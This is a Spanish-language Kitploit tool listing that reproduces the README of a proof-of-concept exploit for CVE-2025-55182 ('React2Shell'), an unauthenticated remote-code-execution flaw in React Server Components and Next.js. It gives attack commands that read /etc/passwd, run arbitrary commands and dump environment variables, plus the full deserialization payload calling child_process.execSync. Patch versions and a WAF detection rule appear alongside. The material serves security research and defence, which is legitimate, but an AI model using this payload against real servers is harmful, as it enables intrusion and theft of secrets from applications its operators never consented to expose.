Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182 — Exploit de prueba de concepto para CVE-2025-55182 (React2Shell), que demuestra la ejecución remota de código no autenticada en React Server Components mediante la deserialización del protocolo Flight. Incluye configuración de servidor vulnerable y scripts de detección. | Kitploit
Herramientas/GitHubGitHub/greenheadhq/cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

Exploit de prueba de concepto para CVE-2025-55182 (React2Shell), que demuestra la ejecución remota de código no autenticada en React Server Components mediante la deserialización del protocolo Flight. Incluye configuración de servidor vulnerable y scripts de detección.

Ver Repositorio
113hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Entorno PoC de CVE-2025-55182 (React2Shell)

Advertencia: Este proyecto debe utilizarse solo con fines de investigación y educación en seguridad. Utilizarlo en sistemas de terceros sin autorización es ilegal.

Resumen de la vulnerabilidad

CampoDetalle
CVE IDCVE-2025-55182
AliasReact2Shell
Puntuación CVSS10.0 (Critical - severidad máxima)
Tipo de vulnerabilidadUnauthenticated Remote Code Execution (RCE)
DescubridorLachlan Davidson
Fecha de divulgación3 de diciembre de 2025

Versiones afectadas

Paquete React

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Estructura del proyecto

CVE-2025-55182/
├── README.md                    # Este archivo
├── vulnerable-server/           # Servidor Next.js vulnerable
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # PoC de ataque
│   ├── package.json
│   ├── poc.js                   # Script de ataque RCE
│   └── check-vulnerability.js   # Script de comprobación de vulnerabilidad
└── React2Shell-CVE-2025-55182-original-poc/  # Referencia del PoC original

Inicio rápido

1. Configurar y ejecutar el servidor vulnerable

# Instalación de dependencias
cd vulnerable-server
npm install

# Ejecutar el servidor en modo de desarrollo (puerto 3000)
npm run dev

El servidor se ejecutará en http://localhost:3000.

2. Ejecutar el PoC de ataque

En una nueva terminal:

# Instalación de dependencias
cd exploit
npm install

# Comprobación de vulnerabilidad
npm run check

# Ejecutar el PoC (modo de prueba)
npm run exploit

Uso del PoC de ataque

Prueba básica (console.log)

node poc.js -m test

Ejecutar la calculadora (prueba clásica de RCE)

# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Ejecución de comandos del sistema (RCE)

# Ejecutar el comando id
node poc.js -t http://localhost:3000 -m rce -c "id"

# Leer un archivo
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# Información del sistema
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Exfiltración de variables de entorno

node poc.js -t http://localhost:3000 -m env

Ejecución de código personalizado

node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Análisis técnico

Causa raíz de la vulnerabilidad

Ocurre al deserializar los datos enviados por el cliente en el protocolo Flight de React Server Components.

La función requireModule confía en los nombres de propiedades enviados por el cliente sin validarlos
→ al ejecutar moduleExports[metadata[NAME]] no se realiza la comprobación hasOwnProperty
→ es posible manipular la cadena de prototipos (Server-Side Prototype Pollution)
→ se obtiene el constructor Function → RCE

Cadena de ataque

  1. Disparador de deserialización $@x - obtención de la referencia del objeto Chunk
  2. Abuso del encadenamiento de Promise - inyección de un objeto thenable con método .then
  3. Reentrada en el parser con un objeto Chunk falso - establecimiento de status: resolved_model
  4. Construcción de la cadena de gadgets - uso de _response, _formData, etc.
  5. Obtención del constructor Function - $1:constructor:constructor
  6. Ejecución de código arbitrario - ejecución de new Function(código malicioso)

Estructura del payload

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Métodos de parcheo

Actualizar Next.js

# Usuarios de 15.0.x
npm install [email protected]

# Usuarios de 15.1.x
npm install [email protected]

# Usuarios de 15.2.x
npm install [email protected]

Actualizar los paquetes React

npm install [email protected]
npm install [email protected]
npm install [email protected]

Métodos de detección

Características de las peticiones HTTP

  • Petición POST
  • Presencia de la cabecera Next-Action
  • Formato multipart/form-data
  • Patrones como $@, resolved_model, constructor en el cuerpo

Ejemplo de regla WAF

# Detección de payloads Flight sospechosos
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

Referencias

  • Blog oficial de React
  • PoC original (Lachlan Davidson)
  • Análisis de Datadog Security Labs
  • Análisis de Wiz

Licencia

Este proyecto se proporciona únicamente con fines educativos y de investigación. Se prohíbe su uso con fines maliciosos.


Nota: Si encuentras esta vulnerabilidad en un entorno real, aplícale un parche de inmediato. Si se confirma un ataque, notifica al equipo de seguridad y realiza una investigación de compromiso.

Descargar herramienta